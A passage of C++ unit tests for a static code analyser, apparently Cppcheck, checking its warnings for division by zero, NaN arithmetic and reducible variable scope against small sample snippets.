f(int i) {\\n\"\n \" int number = 10, a = 0;\\n\"\n \" for (int count = 0; count < 2; count++) {\\n\"\n \" int x = number / 10;\\n\"\n \" a += (i / number) % 10;\\n\"\n \" number = x;\\n\"\n \" }\\n\"\n \" return a;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void zeroDiv17() { // #9931\n check(\"int f(int len) {\\n\"\n \" int sz = sizeof(void*[255]) / 255;\\n\"\n \" int x = len % sz;\\n\"\n \" return x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void zeroDiv18()\n {\n check(\"int f(int x, int y) {\\n\"\n \" if (x == y) {}\\n\"\n \" return 1 / (x-y);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:11] -> [test.cpp:3:14]: (warning) Either the condition 'x==y' is redundant or there is division by zero at line 3. [zerodivcond]\\n\",\n errout_str());\n }\n\n void zeroDiv19()\n {\n check(\"void f() {\\n\" // #2456\n \" for (int i = 0;;)\\n\"\n \" int j = 10 / i;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:20]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n void zeroDiv20()\n {\n check(\"uint16_t f(void)\\n\" // #11175\n \"{\\n\"\n \" uint16_t x = 0xFFFFU;\\n\" // UINT16_MAX=0xFFFF\n \" return 42/(++x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:14]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n void zeroDiv21()\n {\n check(\"int f(int n) {\\n\"\n \" return 1 / ((1 / n) - 1);\\n\"\n \"}\\n\"\n \"int g() {\\n\"\n \" return f(1);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n void zeroDiv22()\n {\n check(\"int main() {\\n\"\n \" return _Generic((0), int: (42) / (0), default: 0);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:36]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n void zeroDivCond() {\n check(\"void f(unsigned int x) {\\n\"\n \" int y = 17 / x;\\n\"\n \" if (x > 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9] -> [test.cpp:2:14]: (warning) Either the condition 'x>0' is redundant or there is division by zero at line 2. [zerodivcond]\\n\", errout_str());\n\n check(\"void f(unsigned int x) {\\n\"\n \" int y = 17 / x;\\n\"\n \" if (x >= 1) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9] -> [test.cpp:2:14]: (warning) Either the condition 'x>=1' is redundant or there is division by zero at line 2. [zerodivcond]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" int y = 17 / x;\\n\"\n \" if (x == 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9] -> [test.cpp:2:14]: (warning) Either the condition 'x==0' is redundant or there is division by zero at line 2. [zerodivcond]\\n\", errout_str());\n\n check(\"void f(unsigned int x) {\\n\"\n \" int y = 17 / x;\\n\"\n \" if (x != 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9] -> [test.cpp:2:14]: (warning) Either the condition 'x!=0' is redundant or there is division by zero at line 2. [zerodivcond]\\n\", errout_str());\n\n // function call\n check(\"void f1(int x, int y) { c=x/y; }\\n\"\n \"void f2(unsigned int y) {\\n\"\n \" f1(123,y);\\n\"\n \" if (y>0){}\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:4:10] -> [test.cpp:1:28]: (warning) Either the condition 'y>0' is redundant or there is division by zero at line 1. [zerodivcond]\\n\",\n errout_str());\n\n // avoid false positives when variable is changed after division\n check(\"void f() {\\n\"\n \" unsigned int x = do_something();\\n\"\n \" int y = 17 / x;\\n\"\n \" x = some+calculation;\\n\"\n \" if (x != 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n {\n // function is called that might modify global variable\n check(\"void do_something();\\n\"\n \"int x;\\n\"\n \"void f() {\\n\"\n \" int y = 17 / x;\\n\"\n \" do_something();\\n\"\n \" if (x != 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // function is called. but don't care, variable is local\n check(\"void do_something();\\n\"\n \"void f() {\\n\"\n \" int x = some + calculation;\\n\"\n \" int y = 17 / x;\\n\"\n \" do_something();\\n\"\n \" if (x != 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:9] -> [test.cpp:4:14]: (warning) Either the condition 'x!=0' is redundant or there is division by zero at line 4. [zerodivcond]\\n\", errout_str());\n }\n\n check(\"void do_something(int value);\\n\"\n \"void f(int x) {\\n\"\n \" int y = 17 / x;\\n\"\n \" do_something(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int x;\\n\"\n \"void f() {\\n\"\n \" int y = 17 / x;\\n\"\n \" while (y || x == 0) { x--; }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ticket 5033 segmentation fault (valid code) in CheckOther::checkZeroDivisionOrUselessCondition\n check(\"void f() {\\n\"\n \"double* p1= new double[1];\\n\"\n \"double* p2= new double[1];\\n\"\n \"double* p3= new double[1];\\n\"\n \"double* pp[3] = {p1,p2,p3};\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5105 - FP\n check(\"int f(int a, int b) {\\n\"\n \" int r = a / b;\\n\"\n \" if (func(b)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Unknown types for b and c --> do not warn\n check(\"int f(int d) {\\n\"\n \" int r = (a?b:c) / d;\\n\"\n \" if (d == 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int a) {\\n\"\n \" int r = a ? 1 / a : 0;\\n\"\n \" if (a == 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int a) {\\n\"\n \" int r = (a == 0) ? 0 : 1 / a;\\n\"\n \" if (a == 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int g();\\n\"\n \"void f(int b) {\\n\"\n \" int x = g();\\n\"\n \" if (x == 0) {}\\n\"\n \" else if (x > 0) {}\\n\"\n \" else\\n\"\n \" a = b / -x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"int f(A* a) {\\n\"\n \" if (a->x == 0) \\n\"\n \" a->x = 1;\\n\"\n \" return 1/a->x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10049\n check(\"int f(int argc) {\\n\"\n \" int quotient, remainder;\\n\"\n \" remainder = argc % 2;\\n\"\n \" argc = 2;\\n\"\n \" quotient = argc;\\n\"\n \" if (quotient != 0) \\n\"\n \" return quotient;\\n\"\n \" return remainder;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11315\n checkP(\"#define STATIC_ASSERT(c) \\\\\\n\"\n \"do { enum { sa = 1/(int)(!!(c)) }; } while (0)\\n\"\n \"void f() {\\n\"\n \" STATIC_ASSERT(sizeof(int) == sizeof(FOO));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11505\n check(\"void f(uint16_t num, uint8_t radix) {\\n\"\n \" int c = num % radix;\\n\"\n \" num /= radix;\\n\"\n \" if (!num) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void nanInArithmeticExpression() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" double x = 3.0 / 0.0 + 1.0;\\n\"\n \" printf(\\\"%f\\\", x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:19]: (style) Using NaN/Inf in a computation. [nanInArithmeticExpression]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" double x = 3.0 / 0.0 - 1.0;\\n\"\n \" printf(\\\"%f\\\", x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:19]: (style) Using NaN/Inf in a computation. [nanInArithmeticExpression]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" double x = 1.0 + 3.0 / 0.0;\\n\"\n \" printf(\\\"%f\\\", x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:25]: (style) Using NaN/Inf in a computation. [nanInArithmeticExpression]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" double x = 1.0 - 3.0 / 0.0;\\n\"\n \" printf(\\\"%f\\\", x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:25]: (style) Using NaN/Inf in a computation. [nanInArithmeticExpression]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" double x = 3.0 / 0.0;\\n\"\n \" printf(\\\"%f\\\", x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n }\n\n void varScope1() {\n check(\"unsigned short foo()\\n\"\n \"{\\n\"\n \" test_client CClient;\\n\"\n \" try\\n\"\n \" {\\n\"\n \" if (CClient.Open())\\n\"\n \" {\\n\"\n \" return 0;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" catch (...)\\n\"\n \" {\\n\"\n \" return 2;\\n\"\n \" }\\n\"\n \"\\n\"\n \" try\\n\"\n \" {\\n\"\n \" CClient.Close();\\n\"\n \" }\\n\"\n \" catch (...)\\n\"\n \" {\\n\"\n \" return 2;\\n\"\n \" }\\n\"\n \"\\n\"\n \" return 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope2() {\n check(\"int foo()\\n\"\n \"{\\n\"\n \" Error e;\\n\"\n \" e.SetValue(12);\\n\"\n \" throw e;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope3() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int i;\\n\"\n \" int *p = 0;\\n\"\n \" if (abc)\\n\"\n \" {\\n\"\n \" p = &i;\\n\"\n \" }\\n\"\n \" *p = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope4() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope5() {\n check(\"void f(int x)\\n\"\n \"{\\n\"\n \" int i = 0;\\n\"\n \" if (x) {\\n\"\n \" for ( ; i < 10; ++i) ;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) The scope of the variable 'i' can be reduced. [variableScope]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" const unsigned char i = 0;\\n\"\n \" if (x) {\\n\"\n \" for ( ; i < 10; ++i) ;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x)\\n\"\n \"{\\n\"\n \" int i = 0;\\n\"\n \" if (x) {b()}\\n\"\n \" else {\\n\"\n \" for ( ; i < 10; ++i) ;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) The scope of the variable 'i' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope6() {\n check(\"void f(int x)\\n\"\n \"{\\n\"\n \" int i = x;\\n\"\n \" if (a) {\\n\"\n \" x++;\\n\"\n \" }\\n\"\n \" if (b) {\\n\"\n \" c(i);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\" // #5398\n \" bool success = false;\\n\"\n \" int notReducable(someClass.getX(&success));\\n\"\n \" if (success) {\\n\"\n \" foo(notReducable);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(Test &test) {\\n\"\n \" int& x = test.getData();\\n\"\n \" if (test.process())\\n\"\n \" x = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \"int foo = 0;\\n\"\n \"std::vector vec(10);\\n\"\n \"BOOST_FOREACH(int& i, vec)\\n\"\n \"{\\n\"\n \" foo += 1;\\n\"\n \" if(foo == 10)\\n\"\n \" {\\n\"\n \" return 0;\\n\"\n \" }\\n\"\n \"}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int &x)\\n\"\n \"{\\n\"\n \" int n = 1;\\n\"\n \" do\\n\"\n \" {\\n\"\n \" ++n;\\n\"\n \" ++x;\\n\"\n \" } while (x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope7() {\n check(\"void f(int x)\\n\"\n \"{\\n\"\n \" int y = 0;\\n\"\n \" b(y);\\n\"\n \" if (x) {\\n\"\n \" y++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope8() {\n check(\"void test() {\\n\"\n \" float edgeResistance=1;\\n\"\n \" std::vector edges;\\n\"\n \" BOOST_FOREACH(int edge, edges) {\\n\"\n \" edgeResistance = (edge+1) / 2.0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) The scope of the variable 'edgeResistance' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope9() {\n // classes may have extra side effects\n check(\"class fred {\\n\"\n \"public:\\n\"\n \" void x();\\n\"\n \"};\\n\"\n \"void test(int a) {\\n\"\n \" fred f;\\n\"\n \" if (a == 2) {\\n\"\n \" f.x();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope10() {\n check(\"int f()\\n\"\n \"{\\n\"\n \" int x = 0;\\n\"\n \" FOR {\\n\"\n \" foo(x++);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope11() {\n check(\"int f() {\\n\"\n \" int x = 0;\\n\"\n \" AB ab = { x, 0 };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f() {\\n\"\n \" int x = 0;\\n\"\n \" if (a == 0) { ++x; }\\n\"\n \" AB ab = { x, 0 };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f() {\\n\"\n \" int x = 0;\\n\"\n \" if (a == 0) { ++x; }\\n\"\n \" if (a == 1) { AB ab = { x, 0 }; }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope12() {\n check(\"void f(int x) {\\n\"\n \" int i[5];\\n\"\n \" int* j = y;\\n\"\n \" if (x)\\n\"\n \" foo(i);\\n\"\n \" foo(j);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) The scope of the variable 'i' can be reduced. [variableScope]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" int i[5];\\n\"\n \" int* j;\\n\"\n \" if (x)\\n\"\n \" j = i;\\n\"\n \" foo(j);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" const bool b = true;\\n\"\n \" x++;\\n\"\n \" if (x == 5)\\n\"\n \" foo(b);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" const bool b = x;\\n\"\n \" x++;\\n\"\n \" if (x == 5)\\n\"\n \" foo(b);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope13() {\n // #2770\n check(\"void f() {\\n\"\n \" int i = 0;\\n\"\n \" forever {\\n\"\n \" if (i++ == 42) { break; }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope14() {\n // #3941\n check(\"void f() {\\n\"\n \" const int i( foo());\\n\"\n \" if(a) {\\n\"\n \" for ( ; i < 10; ++i) ;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope15() {\n // #4573\n check(\"void f() {\\n\"\n \" int a,b,c;\\n\"\n \" if (a);\\n\"\n \" else if(b);\\n\"\n \" else if(c);\\n\"\n \" else;\\n\"\n \"}\", true, false);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope16() {\n check(\"void f() {\\n\"\n \" int a = 0;\\n\"\n \" while((++a) < 56) {\\n\"\n \" foo();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a = 0;\\n\"\n \" do {\\n\"\n \" foo();\\n\"\n \" } while((++a) < 56);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a = 0;\\n\"\n \" do {\\n\"\n \" a = 64;\\n\"\n \" foo(a);\\n\"\n \" } while((++a) < 56);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a = 0;\\n\"\n \" do {\\n\"\n \" a = 64;\\n\"\n \" foo(a);\\n\"\n \" } while(z());\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) The scope of the variable 'a' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope17() {\n check(\"void f() {\\n\"\n \" int x;\\n\"\n \" if (a) {\\n\"\n \" x = stuff(x);\\n\"\n \" morestuff(x);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) The scope of the variable 'x' can be reduced. [variableScope]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int x;\\n\"\n \" if (a) {\\n\"\n \" x = stuff(x);\\n\"\n \" morestuff(x);\\n\"\n \" }\\n\"\n \" if (b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) The scope of the variable 'x' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope18() {\n check(\"void f() {\\n\"\n \" short x;\\n\"\n \"\\n\"\n \" switch (ab) {\\n\"\n \" case A:\\n\"\n \" break;\\n\"\n \" case B:\\n\"\n \" default:\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"\\n\"\n \" if (c) {\\n\"\n \" x = foo();\\n\"\n \" do_something(x);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) The scope of the variable 'x' can be reduced. [variableScope]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" short x;\\n\"\n \"\\n\"\n \" switch (ab) {\\n\"\n \" case A:\\n\"\n \" x = 10;\\n\"\n \" break;\\n\"\n \" case B:\\n\"\n \" default:\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"\\n\"\n \" if (c) {\\n\"\n \" x = foo();\\n\"\n \" do_something(x);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" short x;\\n\"\n \"\\n\"\n \" switch (ab) {\\n\"\n \" case A:\\n\"\n \" if(c)\\n\"\n \" do_something(x);\\n\"\n \" break;\\n\"\n \" case B:\\n\"\n \" default:\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) The scope of the variable 'x' can be reduced. [variableScope]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" short x;\\n\"\n \"\\n\"\n \" switch (ab) {\\n\"\n \" case A:\\n\"\n \" if(c)\\n\"\n \" do_something(x);\\n\"\n \" break;\\n\"\n \" case B:\\n\"\n \" default:\\n\"\n \" if(d)\\n\"\n \" do_something(x);\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope20() { // Ticket #5103 - constant variable only used in inner scope\n check(\"int f(int a) {\\n\"\n \" const int x = 234;\\n\"\n \" int b = a;\\n\"\n \" if (b > 32) b = x;\\n\"\n \" return b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope21() { // Ticket #5382 - initializing two-dimensional array\n check(\"int test() {\\n\"\n \" int test_value = 3;\\n\"\n \" int test_array[1][1] = { { test_value } };\\n\"\n \" return sizeof(test_array);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope22() { // Ticket #5684 - \"The scope of the variable 'p' can be reduced\" - But it can not.\n check(\"void foo() {\\n\"\n \" int* p( 42 );\\n\"\n \" int i = 0;\\n\"\n \" while ( i != 100 ) {\\n\"\n \" *p = i;\\n\"\n \" ++p;\\n\"\n \" ++i;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n // try to avoid an obvious false negative after applying the fix for the example above:\n check(\"void foo() {\\n\"\n \" int* p( 42 );\\n\"\n \" int i = 0;\\n\"\n \" int dummy = 0;\\n\"\n \" while ( i != 100 ) {\\n\"\n \" p = & dummy;\\n\"\n \" *p = i;\\n\"\n \" ++p;\\n\"\n \" ++i;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) The scope of the variable 'p' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope23() { // #6154: Don't suggest to reduce scope if inner scope is a lambda\n check(\"int main() {\\n\"\n \" size_t myCounter = 0;\\n\"\n \" Test myTest([&](size_t aX){\\n\"\n \" std::cout << myCounter += aX << std::endl;\\n\"\n \" });\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope24() {\n check(\"void f(Foo x) {\\n\"\n \" Foo &r = x;\\n\"\n \" if (cond) {\\n\"\n \" r.dostuff();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) The scope of the variable 'r' can be reduced. [variableScope]\\n\", errout_str());\n\n check(\"void f(Foo x) {\\n\"\n \" Foo foo = x;\\n\"\n \" if (cond) {\\n\"\n \" foo.dostuff();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope25() {\n check(\"void f() {\\n\"\n \" time_t currtime;\\n\"\n \" if (a) {\\n\"\n \" currtime = time(&dummy);\\n\"\n \" if (currtime > t) {}\\n\"\n \" }\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"[test.c:2:12]: (style) The scope of the variable 'currtime' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope26() {\n check(\"void f(const std::map &m) {\\n\"\n \" for (auto it : m) {\\n\"\n \" if (cond1) {\\n\"\n \" int& key = it.first;\\n\"\n \" if (cond2) { dostuff(key); }\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope27() {\n checkP(\"void f() {\\n\"\n \" int x = 0;\\n\"\n \"#ifdef X\\n\"\n \"#endif\\n\"\n \" if (id == ABC) { return x; }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkP(\"void f() {\\n\"\n \"#ifdef X\\n\"\n \"#endif\\n\"\n \" int x = 0;\\n\"\n \" if (id == ABC) { return x; }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (style) The scope of the variable 'x' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope28() {\n check(\"void f() {\\n\" // #10527\n \" int i{};\\n\"\n \" if (double d = g(i); d == 1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope29() { // #10888\n check(\"enum E { E0 };\\n\"\n \"struct S { int i; };\\n\"\n \"void f(int b) {\\n\"\n \" enum E e;\\n\"\n \" struct S s;\\n\"\n \" if (b) {\\n\"\n \" e = E0;\\n\"\n \" s.i = 0;\\n\"\n \" g(e, s);\\n\"\n \" }\\n\"\n \"}\\n\", false);\n ASSERT_EQUALS(\"[test.c:4:12]: (style) The scope of the variable 'e' can be reduced. [variableScope]\\n\"\n \"[test.c:5:14]: (style) The scope of the variable 's' can be reduced. [variableScope]\\n\",\n errout_str());\n\n check(\"void f(bool b) {\\n\"\n \" std::string s;\\n\"\n \" if (b) {\\n\"\n \" s = \\\"abc\\\";\\n\"\n \" g(s);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (style) The scope of the variable 's' can be reduced. [variableScope]\\n\", errout_str());\n\n check(\"auto foo(std::vector& vec, bool flag) {\\n\"\n \" std::vector dummy;\\n\"\n \" std::vector::iterator iter;\\n\"\n \" if (flag)\\n\"\n \" iter = vec.begin();\\n\"\n \" else {\\n\"\n \" dummy.push_back(42);\\n\"\n \" iter = dummy.begin();\\n\"\n \" }\\n\"\n \" return *iter;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:28]: (style) Parameter 'vec' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"auto& foo(std::vector& vec, bool flag) {\\n\"\n \" std::vector dummy;\\n\"\n \" std::vector::iterator iter;\\n\"\n \" if (flag)\\n\"\n \" iter = vec.begin();\\n\"\n \" else {\\n\"\n \" dummy.push_back(42);\\n\"\n \" iter = dummy.begin();\\n\"\n \" }\\n\"\n \" return *iter;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope30() { // #8541\n check(\"bool f(std::vector& v, int i) {\\n\"\n \" int n = 0;\\n\"\n \" bool b = false;\\n\"\n \" std::for_each(v.begin(), v.end(), [&](int j) {\\n\"\n \" if (j == i) {\\n\"\n \" ++n;\\n\"\n \" if (n > 5)\\n\"\n \" b = true;\\n\"\n \" }\\n\"\n \" });\\n\"\n \" return b;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope31() { // #11099\n check(\"bool g(std::vector&);\\n\"\n \"void h(std::vector);\\n\"\n \"void f0(std::vector v) {\\n\"\n \" std::vector w{ v };\\n\"\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f1(std::vector v) {\\n\"\n \" std::vector w{ v.begin(), v.end() };\\n\"\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f2(std::vector v) {\\n\"\n \" std::vector w{ 10, 0, std::allocator() };\\n\" // FN\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f3(std::vector v) {\\n\"\n \" std::vector w{ 10, 0 };\\n\" // warn\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f4(std::vector v) {\\n\"\n \" std::vector w{ 10 };\\n\" // warn\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f5(std::vector v) {\\n\"\n \" std::vector w(v);\\n\"\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f6(std::vector v) {\\n\"\n \" std::vector w(v.begin(), v.end());\\n\"\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f7(std::vector v) {\\n\"\n \" std::vector w(10, 0, std::allocator);\\n\" // FN\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f8(std::vector v) {\\n\"\n \" std::vector w(10, 0);\\n\" // warn\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f9(std::vector v) {\\n\"\n \" std::vector w(10);\\n\" // warn\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f10(std::vector v) {\\n\"\n \" std::vector w{};\\n\" // warn\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:25:22]: (style) The scope of the variable 'w' can be reduced. [variableScope]\\n\"\n \"[test.cpp:32:22]: (style) The scope of the variable 'w' can be reduced. [variableScope]\\n\"\n \"[test.cpp:60:22]: (style) The scope of the variable 'w' can be reduced. [variableScope]\\n\"\n \"[test.cpp:67:22]: (style) The scope of the variable 'w' can be reduced. [variableScope]\\n\"\n \"[test.cpp:74:22]: (style) The scope of the variable 'w' can be reduced. [variableScope]\\n\",\n errout_str());\n }\n\n void varScope32() { // #11441\n check(\"template \\n\"\n \"std::vector g(F, const std::vector&);\\n\"\n \"void f(const std::vector&v) {\\n\"\n \" std::vector w;\\n\"\n \" for (auto x : v)\\n\"\n \" w = g([&]() { x; }, w);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:23]: (warning) Unused variable value 'x' [constStatement]\\n\", errout_str());\n }\n\n void varScope33() { // #11131\n check(\"struct S {\\n\"\n \" const std::string& getStr() const;\\n\"\n \" void mutate();\\n\"\n \" bool getB() const;\\n\"\n \"};\\n\"\n \"void g(S& s) {\\n\"\n \" std::string 